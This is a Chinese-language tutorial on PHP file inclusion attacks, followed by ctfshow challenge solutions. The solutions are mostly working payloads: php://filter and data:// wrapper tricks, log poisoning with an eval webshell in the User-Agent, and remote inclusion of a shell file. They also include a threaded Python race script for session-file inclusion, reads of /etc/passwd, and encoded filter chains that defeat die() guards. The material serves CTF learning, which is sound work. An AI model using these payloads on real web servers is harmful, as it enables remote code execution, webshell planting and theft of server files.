文章目录
常见的文件包含函数
php文件包含函数有下面四种
- include()
- require()
- include_once()
- require_once()
include与require基本相同,只是一些错误处理不同
- include:遇到错误只发出警告,不会出现停止
- require:遇到错误要停止
- include_once和require_once:只包含一次
基本绕过:
利用php伪协议
1.php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行。
CTF中经常使用file_get_contents()获取php://input内容(POST)
需要allow_url_include打开
当enctype="multipart/form-data"的时候 php://input` 是无效的
例子一
2.php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致 任意文件读取。
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
参数详解
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。(相对路径也可)
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
过滤器
读取文件源码可以直接用resource读取(常用)
php://filter/convert.base64-encode/resource=flag.php base64编码 ---最常用的
php://filter/convert.quoted-printable-encode/resource=flag.php quoted-printable编码
php://filter/string.rot13/resource=flag.php rot13变换
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper | 等同于strtoupper() ,转大写字母 |
string.tolower | 等同于strtolower() ,转小写字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
---|---|
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法文件的打开方式 |
3.data协议
data协议类似于php://input协议,用于控制输出流,当与包含函数结合时,data://流回被当作php文件执行。从而导致任意代码的执行。
当php被过滤时,就可以适当选择data协议
需满足allow_url_fopen,allow_url_include同时开启才能使用
例如:
?file=data://,<php phpinfo();
?file=data://text/plain,<?php phpinfo();---恶意代码
?file=data://text/plain;base64,base编码内容(恶意代码的base64编码)
注意:使用data协议,后面php代码不要闭合。
4.zip协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
- zip://中只能传入绝对路径。
- 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
- 只需要是zip的压缩包即可,后缀名可以任意更改。
5.bzip2://协议
绝对路径和相对路径都可以使用
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
6.zlib://协议
同上
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
7. phar://协议
phar:// 有点类似zip://同样可以导致 任意代码执行。
区别就是:phar://中相对路径和绝对路径都可以使用
phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用
例子
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php
从而绕过。
8.file协议
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include的影响
file协议可以访问文件的绝对路径,相对路径
file://还经常和curl函数(SSRF)结合在一起
如:?file=file:///etc/passwd,有三条斜杠
例子1
例子2
总结
日志包含
介绍
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
利用条件
- 对日志文件可读取
- 知道日志文件的存储目录,一般可以通过phpinfo(),来读取日志文件
漏洞利用流程
原理
如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,一般
我们是把恶意代码写入UA头里。但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过
编码,就可以把<?php phpinfo(); ?> 写入apache,iis或者nginx的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道中间件日志文件的存储路径。
流程:
先刷新网页或者上传文件抓包,改UA头为恶意代码,<?php eval($_POST[1]);?>,<?php system("tac ../f*");>,
然后访问日志文件,执行恶意代码
日志文件路径
一)日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
二)web中间件默认配置
(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config
一般来说,Apache,nginx运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
远程文件包含
条件
php配置的allow_url_include = on必须为on(开启),可以在phpinfo里看
流程
使用file=http://xxx.xxx/shell.txt
包含后利用恶意代码
PHPSESSION包含
包含/proc/self/environ文件
proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
利用条件:
php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。
参考:
https://blog.csdn.net/god_7z1/article/details/7904789
包含临时文件
过程
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在代码执行结束后,临时文件会被删除。在临时文件被删除之前,利用条件竞争即可包含该临时文件
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:
CTF题
包含上传文件
很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。
图片马的制作方式如下,在cmd控制台下输入:
-
进入1.jph和2.php的文件目录后,执行:
-
copy 1.jpg/b+2.php/a 3.jpg
-
将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:
然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php
绕过类型
指定后缀绕过
测试代码
<?php
error_reporting(0);
$file = $_GET["file"];
//后缀
include $file.".txt";
highlight_file(__FILE__);
?>
利用长度截断
利用条件:
php版本 < php 5.2.8
原理:
Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
利用方法:
只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)
?file=./././。。。省略。。。././shell.php
则指定的后缀.txt会在达到最大值后会被直接丢弃掉
%00截断
利用条件:
magic_quotes_gpc = Off
php版本 < php 5.3.4
利用方法:
直接在文件名的最后加上%00来截断指定的后缀名
?file=shell.php%00
url
url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
远程文件包含中,可以使用URL的query和fragment
参考文献
https://blog.csdn.net/qq_42181428/article/details/87090539
指定前缀截断
目录遍历
测试代码
<?php
error_reporting(0);
$file = $_GET["file"];
//前缀
include "/var/www/html/".$file;
highlight_file(__FILE__);
?>
使用…/…/…/等即可遍历
编码
如果…/被过滤了,可以用
1. url编码
- %2e%2e%2f
- ..%2f
- %2e%2e/
2. 二次编码
- %252e%252e%252f
3. 容器和服务器编码
- ..%c0%af
ctfshow
web78
filter伪协议
payload
file=php://filter/convert.base64-encode/resource=flag.php
解码后得到flag
web79
替换了php,我们使用data协议
file=data://text/plain,<?=`tac f*`;?>
web80
过滤了php和data
我们可以使用远程文件包含(需要allow_url_include=on)
web81
日志文件包含
首先在UA头里面写入一句话
<?php
eval($_POST[1]);
?>
接着包含日志文件并利用一句话
GET:file=/var/log/nginx/access.log
POST:1=phpinfo();
web82-86
php-session文件包含
import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080/"
url2='http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=/tmp/sess_'+sess
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':'system("cat f*");'
}
file={
'file':'abc'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if 'ctfshow{' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
web87
代码
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
死亡绕过die
file参数过滤了太多东西,文件名可以通过两次url全编码绕过。
因为前面有die,所以我们后面直接写php内容会起不到作用,利用编码
1.base64编码
GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
// file=php://filter/write=convert.base64-decode/resource=a.php
POST
content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>"
base64 4位4位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。
//content=<?php eval($_POST[1]);
2.rot13编码
GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
POST
content=<?cuc riny($_CBFG[1]);
//content=<?php eval($_POST[1]);
web117
代码
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
题目中过滤了很多协议和编码方式,但是除了我们常用的base64和rot13还是有很多方法可以绕过die的
更多编码方式
这是取一个 UCS-2LE UCS-2BE
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
可以测试下面代码
echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?');
输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid(e;)>?<?php eval($_POST[1]);?>
参考文献
- https://blog.csdn.net/qq_42181428/article/details/87090539(重点)
- https://www.freebuf.com/articles/web/277756.html
- https://blog.csdn.net/miuzzx/article/details/116205407